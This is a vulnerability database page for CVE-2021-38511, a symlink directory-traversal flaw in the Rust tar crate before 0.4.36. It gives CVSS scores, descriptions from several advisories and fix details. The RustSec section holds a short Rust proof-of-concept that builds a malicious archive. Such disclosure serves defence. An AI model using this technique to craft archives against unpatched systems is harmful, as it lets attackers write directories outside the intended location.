CVE-2021-38511
JSON

7.5high

Links in archive can create arbitrary directories

Severity
7.5high CVSS:3.1 by NVD
Exploit likelihood
1.39% (higher than 73% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
mitre
Also known as
GHSA-62jx-8vmh-4mcwRUSTSEC-2021-0080

Description

An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.

Affected

Product or packageVersionsReported by
Unspecified productn/aCVE List
tar (crates.io)before 0.4.36, from 0.0.0-0 before 0.4.36GitHub Advisory Database, RustSec Advisory Database
tar_project tarbefore 0.4.36NVD

All scores

GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
RustSec Advisory Database7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
NVD7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
NVD5.0medium CVSS:2.0AV:N/AC:L/Au:N/C:N/I:P/A:N

Classification

What each source says

CVE List

An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.

GitHub Advisory Database

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.

RustSec Advisory Database

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

NVD (es)

Se ha detectado un problema en la crate tar versiones anteriores a 0.4.36 para Rust. Cuando los enlaces simbólicos están presentes en un archivo TAR, la extracción puede crear directorios arbitrarios por medio de .. Salto

References

Sources

SourceRecordLicence
CVE ListCVE-2021-38511 changed 2024-08-04CVE Terms of Use
GitHub Advisory DatabaseGHSA-62jx-8vmh-4mcw changed 2023-11-08CC-BY-4.0
RustSec Advisory DatabaseRUSTSEC-2021-0080 changed 2026-07-17CC0-1.0
NVDCVE-2021-38511 changed 2026-06-17Public domain